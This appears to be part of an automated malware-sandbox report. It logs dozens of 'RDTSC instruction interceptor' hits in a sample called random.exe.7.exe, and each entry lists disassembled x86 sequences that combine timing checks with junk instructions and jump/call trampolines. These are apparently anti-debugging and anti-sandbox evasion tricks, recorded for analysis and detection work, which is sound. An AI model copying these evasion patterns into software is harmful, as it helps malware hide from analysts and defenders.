Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D711 second address: 125D78B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F3EBCB3DBD8h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F3EBCB3DBD8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d sub dword ptr [ebp+122D3C2Ah], edi 0x00000033 mov ebx, dword ptr [ebp+12490797h] 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F3EBCB3DBD8h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 00000014h 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 sub dword ptr [ebp+122D3C2Fh], ebx 0x00000059 add eax, ebx 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D78B second address: 125D791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D791 second address: 125D796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D796 second address: 125D79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D79C second address: 125D7A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D7A0 second address: 125D7FB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xor edi, dword ptr [ebp+122D34C7h] 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F3EBCCB1468h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 call 00007F3EBCCB1478h 0x00000036 sub dword ptr [ebp+1245D70Fh], edi 0x0000003c pop ecx 0x0000003d nop 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D7FB second address: 125D7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D7FF second address: 125D836 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3EBCCB146Dh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 jmp 00007F3EBCCB1478h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D836 second address: 125D83B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D83B second address: 125D841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AF227 second address: 12AF243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCB3DBE7h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AF243 second address: 12AF274 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EBCCB1477h 0x00000009 jmp 00007F3EBCCB1476h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AE5BF second address: 12AE5C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEA00 second address: 12AEA04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEB25 second address: 12AEB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEB2B second address: 12AEB54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1473h 0x00000007 jmp 00007F3EBCCB146Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEB54 second address: 12AEB5E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEB5E second address: 12AEB67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEB67 second address: 12AEB8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3EBCB3DBD6h 0x0000000a jmp 00007F3EBCB3DBE9h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEE3E second address: 12AEE44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEE44 second address: 12AEE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEE4A second address: 12AEE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEE4E second address: 12AEE7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F3EBCB3DBE2h 0x00000013 ja 00007F3EBCB3DBD6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEE7B second address: 12AEE7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AEE7F second address: 12AEEA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE7h 0x00000007 jnp 00007F3EBCB3DBDEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B7739 second address: 12B773D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B773D second address: 12B7745 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B7A04 second address: 12B7A0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B7A0A second address: 12B7A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F3EBCB3DBD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B8019 second address: 12B8027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F3EBCCB1466h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B85B7 second address: 12B85C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B85C8 second address: 12B85CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B8E19 second address: 12B8E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F3EBCB3DBE4h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B8E3C second address: 12B8E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F3EBCCB1472h 0x0000000b jmp 00007F3EBCCB146Ch 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B8E56 second address: 12B8E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B9126 second address: 12B9154 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F3EBCCB1466h 0x00000009 pushad 0x0000000a popad 0x0000000b jnp 00007F3EBCCB1466h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3EBCCB1477h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12B9154 second address: 12B9178 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3EBCB3DBD6h 0x00000008 js 00007F3EBCB3DBD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3EBCB3DBE2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12100CD second address: 12100EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3EBCCB1476h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12100EB second address: 12100F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC337 second address: 12BC33B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC5C6 second address: 12BC602 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007F3EBCB3DBD6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edx 0x0000000c jmp 00007F3EBCB3DBDFh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jno 00007F3EBCB3DBEBh 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC602 second address: 12BC625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB1478h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC625 second address: 12BC62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC7CC second address: 12BC7D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC7D0 second address: 12BC7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC7D9 second address: 12BC7E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC7E1 second address: 12BC7E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC7E6 second address: 12BC7ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC907 second address: 12BC90B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BC90B second address: 12BC90F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BCD4C second address: 12BCD50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12BCD50 second address: 12BCD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3EBCCB1476h 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C9102 second address: 12C9111 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C71B7 second address: 12C71BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C785C second address: 12C7866 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F3EBCB3DBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C7B13 second address: 12C7B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1473h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C7B2E second address: 12C7B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C7C97 second address: 12C7CA1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3EBCCB146Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C7E00 second address: 12C7E10 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F3EBCB3DBD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C7E10 second address: 12C7E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C7E14 second address: 12C7E3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBDEh 0x00000007 jmp 00007F3EBCB3DBE6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C7E3C second address: 12C7E58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3EBCCB1475h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C7FDE second address: 12C8019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3EBCB3DBD6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jne 00007F3EBCB3DBD6h 0x00000015 jmp 00007F3EBCB3DBE1h 0x0000001a popad 0x0000001b jmp 00007F3EBCB3DBE4h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C8019 second address: 12C8032 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1474h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C8175 second address: 12C819B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE6h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EBCB3DBDCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C8872 second address: 12C88B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB1477h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jne 00007F3EBCCB1466h 0x00000013 jbe 00007F3EBCCB1466h 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F3EBCCB1471h 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12C88B1 second address: 12C88D4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3EBCB3DBF5h 0x00000008 jmp 00007F3EBCB3DBE9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D0773 second address: 12D07A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F3EBCCB1471h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F3EBCCB1471h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D02FE second address: 12D031D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F3EBCB3DBEEh 0x0000000b jmp 00007F3EBCB3DBE2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D031D second address: 12D0331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F3EBCCB1466h 0x0000000e jne 00007F3EBCCB1466h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D044B second address: 12D044F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D044F second address: 12D0461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007F3EBCCB1466h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D0461 second address: 12D0478 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3EBCB3DBDDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D2B09 second address: 12D2B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D2B0F second address: 12D2B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D2B18 second address: 12D2B1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12D2B1E second address: 12D2B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12DE405 second address: 12DE409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12DE409 second address: 12DE417 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12DE417 second address: 12DE41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12DE0D3 second address: 12DE0D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12E1A64 second address: 12E1A94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1477h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EBCCB1473h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12E30E6 second address: 12E30EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12E30EA second address: 12E30EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12E30EE second address: 12E30F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12EB9ED second address: 12EB9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12EB9F5 second address: 12EBA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F3EBCB3DBDEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12F56A6 second address: 12F56C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3EBCCB1476h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12F5539 second address: 12F553D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12F553D second address: 12F5549 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jp 00007F3EBCCB1466h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12F5549 second address: 12F5550 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12FEC81 second address: 12FEC9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB1478h 0x00000009 rdtsc
